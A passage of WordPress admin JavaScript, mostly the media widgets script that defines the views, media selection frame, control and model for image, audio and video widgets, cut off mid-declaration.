s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("<div></div>"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery);/**
 * @output wp-admin/js/widgets/media-widgets.js
 */

/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.mediaWidgets
 * @memberOf  wp
 */
wp.mediaWidgets = ( function( $ ) {
	'use strict';

	var component = {};

	/**
	 * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.controlConstructors = {};

	/**
	 * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.modelConstructors = {};

	component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{

		/**
		 * Library which persists the customized display settings across selections.
		 *
		 * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary
		 * @augments   wp.media.controller.Library
		 *
		 * @param {Object} options - Options.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			_.bindAll( this, 'handleDisplaySettingChange' );
			wp.media.controller.Library.prototype.initialize.call( this, options );
		},

		/**
		 * Sync changes to the current display settings back into the current customized.
		 *
		 * @param {Backbone.Model} displaySettings - Modified display settings.
		 * @return {void}
		 */
		handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
			this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
		},

		/**
		 * Get the display settings model.
		 *
		 * Model returned is updated with the current customized display settings,
		 * and an event listener is added so that changes made to the settings
		 * will sync back into the model storing the session's customized display
		 * settings.
		 *
		 * @param {Backbone.Model} model - Display settings model.
		 * @return {Backbone.Model} Display settings model.
		 */
		display: function getDisplaySettingsModel( model ) {
			var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
			display = wp.media.controller.Library.prototype.display.call( this, model );

			display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
			display.set( selectedDisplaySettings.attributes );
			if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
				display.linkUrl = selectedDisplaySettings.get( 'link_url' );
			}
			display.on( 'change', this.handleDisplaySettingChange );
			return display;
		}
	});

	/**
	 * Extended view for managing the embed UI.
	 *
	 * @class    wp.mediaWidgets.MediaEmbedView
	 * @augments wp.media.view.Embed
	 */
	component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( options ) {
			var view = this, embedController; // eslint-disable-line consistent-this
			wp.media.view.Embed.prototype.initialize.call( view, options );
			if ( 'image' !== view.controller.options.mimeType ) {
				embedController = view.controller.states.get( 'embed' );
				embedController.off( 'scan', embedController.scanImage, embedController );
			}
		},

		/**
		 * Refresh embed view.
		 *
		 * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		refresh: function refresh() {
			/**
			 * @class wp.mediaWidgets~Constructor
			 */
			var Constructor;

			if ( 'image' === this.controller.options.mimeType ) {
				Constructor = wp.media.view.EmbedImage;
			} else {

				// This should be eliminated once #40450 lands of when this is merged into core.
				Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{

					/**
					 * Set the disabled state on the Add to Widget button.
					 *
					 * @param {boolean} disabled - Disabled.
					 * @return {void}
					 */
					setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
						this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
					},

					/**
					 * Set or clear an error notice.
					 *
					 * @param {string} notice - Notice.
					 * @return {void}
					 */
					setErrorNotice: function setErrorNotice( notice ) {
						var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this

						noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
						if ( ! notice ) {
							if ( noticeContainer.length ) {
								noticeContainer.slideUp( 'fast' );
							}
						} else {
							if ( ! noticeContainer.length ) {
								noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt"></div>' );
								noticeContainer.hide();
								embedLinkView.views.parent.$el.prepend( noticeContainer );
							}
							noticeContainer.empty();
							noticeContainer.append( $( '<p>', {
								html: notice
							}));
							noticeContainer.slideDown( 'fast' );
						}
					},

					/**
					 * Update oEmbed.
					 *
					 * @since 4.9.0
					 *
					 * @return {void}
					 */
					updateoEmbed: function() {
						var embedLinkView = this, url; // eslint-disable-line consistent-this

						url = embedLinkView.model.get( 'url' );

						// Abort if the URL field was emptied out.
						if ( ! url ) {
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
							return;
						}

						if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
							embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
						}

						wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
					},

					/**
					 * Fetch media.
					 *
					 * @return {void}
					 */
					fetch: function() {
						var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
						url = embedLinkView.model.get( 'url' );

						if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
							embedLinkView.dfd.abort();
						}

						fetchSuccess = function( response ) {
							embedLinkView.renderoEmbed({
								data: {
									body: response
								}
							});

							embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( false );
						};

						urlParser = document.createElement( 'a' );
						urlParser.href = url;
						matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
						if ( matches ) {
							fileExt = matches[1];
							if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
								embedLinkView.renderFail();
							} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
								embedLinkView.renderFail();
							} else {
								fetchSuccess( '<!--success-->' );
							}
							return;
						}

						// Support YouTube embed links.
						re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
						youTubeEmbedMatch = re.exec( url );
						if ( youTubeEmbedMatch ) {
							url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
							// silently change url to proper oembed-able version.
							embedLinkView.model.attributes.url = url;
						}

						embedLinkView.dfd = wp.apiRequest({
							url: wp.media.view.settings.oEmbedProxyUrl,
							data: {
								url: url,
								maxwidth: embedLinkView.model.get( 'width' ),
								maxheight: embedLinkView.model.get( 'height' ),
								discover: false
							},
							type: 'GET',
							dataType: 'json',
							context: embedLinkView
						});

						embedLinkView.dfd.done( function( response ) {
							if ( embedLinkView.controller.options.mimeType !== response.type ) {
								embedLinkView.renderFail();
								return;
							}
							fetchSuccess( response.html );
						});
						embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
					},

					/**
					 * Handle render failure.
					 *
					 * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
					 * The element is getting display:none in the stylesheet, but the underlying method uses
					 * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
					 *
					 * @return {void}
					 */
					renderFail: function renderFail() {
						var embedLinkView = this; // eslint-disable-line consistent-this
						embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
						embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
						embedLinkView.setAddToWidgetButtonDisabled( true );
					}
				});
			}

			this.settings( new Constructor({
				controller: this.controller,
				model:      this.model.props,
				priority:   40
			}));
		}
	});

	/**
	 * Custom media frame for selecting uploaded media or providing media by URL.
	 *
	 * @class    wp.mediaWidgets.MediaFrameSelect
	 * @augments wp.media.view.MediaFrame.Post
	 */
	component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			var mime = this.options.mimeType, specificMimes = [];
			_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
				if ( 0 === embedMime.indexOf( mime ) ) {
					specificMimes.push( embedMime );
				}
			});
			if ( specificMimes.length > 0 ) {
				mime = specificMimes;
			}

			this.states.add([

				// Main states.
				new component.PersistentDisplaySettingsLibrary({
					id:         'insert',
					title:      this.options.title,
					selection:  this.options.selection,
					priority:   20,
					toolbar:    'main-insert',
					filterable: 'dates',
					library:    wp.media.query({
						type: mime
					}),
					multiple:   false,
					editable:   true,

					selectedDisplaySettings: this.options.selectedDisplaySettings,
					displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
					displayUserSettings: false // We use the display settings from the current/default widget instance props.
				}),

				new wp.media.controller.EditImage({ model: this.options.editImage }),

				// Embed states.
				new wp.media.controller.Embed({
					metadata: this.options.metadata,
					type: 'image' === this.options.mimeType ? 'image' : 'link',
					invalidEmbedTypeError: this.options.invalidEmbedTypeError
				})
			]);
		},

		/**
		 * Main insert toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} view - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainInsertToolbar: function mainInsertToolbar( view ) {
			var controller = this; // eslint-disable-line consistent-this
			view.set( 'insert', {
				style:    'primary',
				priority: 80,
				text:     controller.options.text, // The whole reason for the fork.
				requires: { selection: true },

				/**
				 * Handle click.
				 *
				 * @ignore
				 *
				 * @fires wp.media.controller.State#insert()
				 * @return {void}
				 */
				click: function onClick() {
					var state = controller.state(),
						selection = state.get( 'selection' );

					controller.close();
					state.trigger( 'insert', selection ).reset();
				}
			});
		},

		/**
		 * Main embed toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} toolbar - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
			toolbar.view = new wp.media.view.Toolbar.Embed({
				controller: this,
				text: this.options.text,
				event: 'insert'
			});
		},

		/**
		 * Embed content.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		embedContent: function embedContent() {
			var view = new component.MediaEmbedView({
				controller: this,
				model:      this.state()
			}).render();

			this.content.set( view );
		}
	});

	component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{

		/**
		 * Translation strings.
		 *
		 * The mapping of translation strings is handled by media widget subclasses,
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object}
		 */
		l10n: {
			add_to_widget: '{{add_to_widget}}',
			add_media: '{{add_media}}'
		},

		/**
		 * Widget ID base.
		 *
		 * This may be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
		 * it will attempt to be discovered by looking to see if this control
		 * instance extends each member of component.controlConstructors, and if
		 * it does extend one, will use the key as the id_base.
		 *
		 * @type {string}
		 */
		id_base: '',

		/**
		 * Mime type.
		 *
		 * This must be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {string}
		 */
		mime_type: '',

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {
			'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
			'click .select-media': 'selectMedia',
			'click .placeholder': 'selectMedia',
			'click .edit-media': 'editMedia'
		},

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: true,

		/**
		 * Media Widget Control.
		 *
		 * @constructs wp.mediaWidgets.MediaWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			Backbone.View.prototype.initialize.call( control, options );

			if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
				throw new Error( 'Missing options.model' );
			}
			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'media-widget-control' );

			// Allow methods to be passed in with control context preserved.
			_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );

			if ( ! control.id_base ) {
				_.find( component.controlConstructors, function( Constructor, idBase ) {
					if ( control instanceof Constructor ) {
						control.id_base = idBase;
						return true;
					}
					return false;
				});
				if ( ! control.id_base ) {
					throw new Error( 'Missing id_base.' );
				}
			}

			// Track attributes needed to renderPreview in it's own model.
			control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );

			// Re-render the preview when the attachment changes.
			control.selectedAttachment = new wp.media.model.Attachment();
			control.renderPreview = _.debounce( control.renderPreview );
			control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );

			// Make sure a copy of the selected attachment is always fetched.
			control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
			control.model.on( 'change:url', control.updateSelectedAttachment );
			control.updateSelectedAttachment();

			/*
			 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
			 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
			 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
			 */
			control.listenTo( control.model, 'change', control.syncModelToInputs );
			control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
			control.listenTo( control.model, 'change', control.render );

			// Update the title.
			control.$el.on( 'input change', '.title', function updateTitle() {
				control.model.set({
					title: $( this ).val().trim()
				});
			});

			// Update link_url attribute.
			control.$el.on( 'input change', '.link', function updateLinkUrl() {
				var linkUrl = $( this ).val().trim(), linkType = 'custom';
				if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
					linkType = 'post';
				} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
					linkType = 'file';
				}
				control.model.set( {
					link_url: linkUrl,
					link_type: linkType
				});

				// Update display settings for the next time the user opens to select from the media library.
				control.displaySettings.set( {
					link: linkType,
					linkUrl: linkUrl
				});
			});

			/*
			 * Copy current display settings from the widget model to serve as basis
			 * of customized display settings for the current media frame session.
			 * Changes to display settings will be synced into this model, and
			 * when a new selection is made, the settings from this will be synced
			 * into that AttachmentDisplay's model to persist the setting changes.
			 */
			control.displaySettings = new Backbone.Model( _.pick(
				control.mapModelToMediaFrameProps(
					_.extend( control.model.defaults(), control.model.toJSON() )
				),
				_.keys( wp.media.view.settings.defaultProps )
			) );
		},

		/**
		 * Update the selected attachment if necessary.
		 *
		 * @return {void}
		 */
		updateSelectedAttachment: function updateSelectedAttachment() {
			var control = this, attachment;

			if ( 0 === control.model.get( 'attachment_id' ) ) {
				control.selectedAttachment.clear();
				control.model.set( 'error', false );
			} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
				attachment = new wp.media.model.Attachment({
					id: control.model.get( 'attachment_id' )
				});
				attachment.fetch()
					.done( function done() {
						control.model.set( 'error', false );
						control.selectedAttachment.set( attachment.toJSON() );
					})
					.fail( function fail() {
						control.model.set( 'error', 'missing_attachment' );
					});
			}
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToPreviewProps: function syncModelToPreviewProps() {
			var control = this;
			control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToInputs: function syncModelToInputs() {
			var control = this;
			control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
				var input = $( this ), value, propertyName;
				propertyName = input.data( 'property' );
				value = control.model.get( propertyName );
				if ( _.isUndefined( value ) ) {
					return;
				}

				if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
					value = value.join( ',' );
				} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
					value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
				} else {
					value = String( value );
				}

				if ( input.val() !== value ) {
					input.val( value );
					input.trigger( 'change' );
				}
			});
		},

		/**
		 * Get template.
		 *
		 * @return {Function} Template.
		 */
		template: function template() {
			var control = this;
			if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
				throw new Error( 'Missing widget control template for ' + control.id_base );
			}
			return wp.template( 'widget-media-' + control.id_base + '-control' );
		},

		/**
		 * Render template.
		 *
		 * @return {void}
		 */
		render: function render() {
			var control = this, titleInput;

			if ( ! control.templateRendered ) {
				control.$el.html( control.template()( control.model.toJSON() ) );
				control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
				control.templateRendered = true;
			}

			titleInput = control.$el.find( '.title' );
			if ( ! titleInput.is( document.activeElement ) ) {
				titleInput.val( control.model.get( 'title' ) );
			}

			control.$el.toggleClass( 'selected', control.isSelected() );
		},

		/**
		 * Render media preview.
		 *
		 * @abstract
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			throw new Error( 'renderPreview must be implemented' );
		},

		/**
		 * Whether a media item is selected.
		 *
		 * @return {boolean} Whether selected and no error.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
		},

		/**
		 * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
			var control = this;
			event.preventDefault();
			control.selectMedia();
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];

			if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
				selectionModels.push( control.selectedAttachment );
			}

			selection = new wp.media.model.Selection( selectionModels, { multiple: false } );

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}

			mediaFrame = new component.MediaFrameSelect({
				title: control.l10n.add_media,
				frame: 'post',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
				invalidEmbedTypeError: control.l10n.unsupported_file_type
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'insert', function onInsert() {
				var attachment = {}, state = mediaFrame.state();

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				if ( 'embed' === state.get( 'id' ) ) {
					_.extend( attachment, { id: 0 }, state.props.toJSON() );
				} else {
					_.extend( attachment, state.get( 'selection' ).first().toJSON() );
				}

				control.selectedAttachment.set( attachment );
				control.model.set( 'error', false );

				// Update widget instance.
				control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
			});

			// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function( method ) {
				if ( 'delete' === method ) {
					return defaultSync.apply( this, arguments );
				} else {
					return $.Deferred().rejectWith( this ).promise();
				}
			};
			mediaFrame.on( 'close', function onClose() {
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			// Clear the selected attachment when it is deleted in the media select frame.
			if ( selection ) {
				selection.on( 'destroy', function onDestroy( attachment ) {
					if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
						control.model.set({
							attachment_id: 0,
							url: ''
						});
					}
				});
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this, state, mediaFrameProps, modelProps;

			state = mediaFrame.state();
			if ( 'insert' === state.get( 'id' ) ) {
				mediaFrameProps = state.get( 'selection' ).first().toJSON();
				mediaFrameProps.postUrl = mediaFrameProps.link;

				if ( control.showDisplaySettings ) {
					_.extend(
						mediaFrameProps,
						mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
					);
				}
				if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
					mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
				}
			} else if ( 'embed' === state.get( 'id' ) ) {
				mediaFrameProps = _.extend(
					state.props.toJSON(),
					{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
					control.model.getEmbedResetProps()
				);
			} else {
				throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
			}

			if ( mediaFrameProps.id ) {
				mediaFrameProps.attachment_id = mediaFrameProps.id;
			}

			modelProps = control.mapMediaToModelProps( mediaFrameProps );

			// Clear the extension prop so sources will be reset for video and audio media.
			_.each( wp.media.view.settings.embedExts, function( ext ) {
				if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
					modelProps[ ext ] = '';
				}
			});

			return modelProps;
		},

		/**
		 * Map media frame props to model props.
		 *
		 * @param {Object} mediaFrameProps - Media frame props.
		 * @return {Object} Model props.
		 */
		mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
			var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
			_.each( control.model.schema, function( fieldSchema, modelProp ) {

				// Ignore widget title attribute.
				if ( 'title' === modelProp ) {
					return;
				}
				mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
			});

			_.each( mediaFrameProps, function( value, mediaProp ) {
				var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
				if ( control.model.schema[ propName ] ) {
					modelProps[ propName ] = value;
				}
			});

			if ( 'custom' === mediaFrameProps.size ) {
				modelProps.width = mediaFrameProps.customWidth;
				modelProps.height = mediaFrameProps.customHeight;
			}

			if ( 'post' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
			} else if ( 'file' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.url;
			}

			// Because some media frames use `id` instead of `attachment_id`.
			if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
				modelProps.attachment_id = mediaFrameProps.id;
			}

			if ( mediaFrameProps.url ) {
				extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
				if ( extension in control.model.schema ) {
					modelProps[ extension ] = mediaFrameProps.url;
				}
			}

			// Always omit the titles derived from mediaFrameProps.
			return _.omit( modelProps, 'title' );
		},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps = {};

			_.each( modelProps, function( value, modelProp ) {
				var fieldSchema = control.model.schema[ modelProp ] || {};
				mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
			});

			// Some media frames use attachment_id.
			mediaFrameProps.attachment_id = mediaFrameProps.id;

			if ( 'custom' === mediaFrameProps.size ) {
				mediaFrameProps.customWidth = control.model.get( 'width' );
				mediaFrameProps.customHeight = control.model.get( 'height' );
			}

			return mediaFrameProps;
		},

		/**
		 * Map model props to previewTemplateProps.
		 *
		 * @return {Object} Preview Template Props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps = {};
			_.each( control.model.schema, function( value, prop ) {
				if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
					previewTemplateProps[ prop ] = control.model.get( prop );
				}
			});

			// Templates need to be aware of the error.
			previewTemplateProps.error = control.model.get( 'error' );
			return previewTemplateProps;
		},

		/**
		 * Open the media frame to modify the selected item.
		 *
		 * @abstract
		 * @return {void}
		 */
		editMedia: function editMedia() {
			throw new Error( 'editMedia not implemented' );
		}
	});

	/**
	 * Media widget model.
	 *
	 * @class    wp.mediaWidgets.MediaWidgetModel
	 * @augments Backbone.Model
	 */
	component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{

		/**
		 * Id attribute.
		 *
		 * @type {string}
		 */
		idAttribute: 'widget_id',

		/**
		 * Instance schema.
		 *
		 * This adheres to JSON Schema and subclasses should have their schema
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object.<string, Object>}
		 */
		schema: {
			title: {
				type: 'string',
				'default': ''
			},
			attachment_id: {
				type: 'integer',
				'default': 0
			},
			url: {
				type: 'string',
				'default': ''
			}
		},

		/**
		 * Get default attribute values.
		 *
		 * @return {Object} Mapping of property names to their default values.
		 */
		defaults: function() {
			var defaults = {};
			_.each( this.schema, function( fieldSchema, field ) {
				defaults[ field ] = fieldSchema['default'];
			});
			return defaults;
		},

		/**
		 * Set attribute value(s).
		 *
		 * This is a wrapped version of Backbone.Model#set() which allows us to
		 * cast the attribute values from the hidden inputs' string values into
		 * the appropriate data types (integers or booleans).
		 *
		 * @param {string|Object} key - Attribute name or attribute pairs.
		 * @param {mixed|Object}  [val] - Attribute value or options object.
		 * @param {Object}        [options] - Options when attribute name and value are passed separately.
		 * @return {wp.mediaWidgets.MediaWidgetModel} This model.
		 */
		set: function set( key, val, options ) {
			var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
			if ( null === key ) {
				return model;
			}
			if ( 'object' === typeof key ) {
				attrs = key;
				opts = val;
			} else {
				attrs = {};
				attrs[ key ] = val;
				opts = options;
			}

			castedAttrs = {};
			_.each( attrs, function( value, name ) {
				var type;
				if ( ! model.schema[ name ] ) {
					castedAttrs[ name ] = value;
					return;
				}
				type = model.schema[ name ].type;
				if ( 'array' === type ) {
					castedAttrs[ name ] = value;
					if ( ! _.isArray( castedAttrs[ name ] ) ) {
						castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
					}
					if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
						castedAttrs[ name ] = _.filter(
							_.map( castedAttrs[ name ], function( id ) {
								return parseInt( id, 10 );
							},
							function( id ) {
								return 'number' === typeof id;
							}
						) );
					}
				} else if ( 'integer' === type ) {
					castedAttrs[ name ] = parseInt( value, 10 );
				} else if ( 'boolean' === type ) {
					castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
				} else {
					castedAttrs[ name ] = value;
				}
			});

			return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return {
				id: 0
			};
		}
	});

	/**
	 * Collection of all widget model instances.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Backbone.Collection}
	 */
	component.modelCollection = new ( Backbone.Collection.extend( {
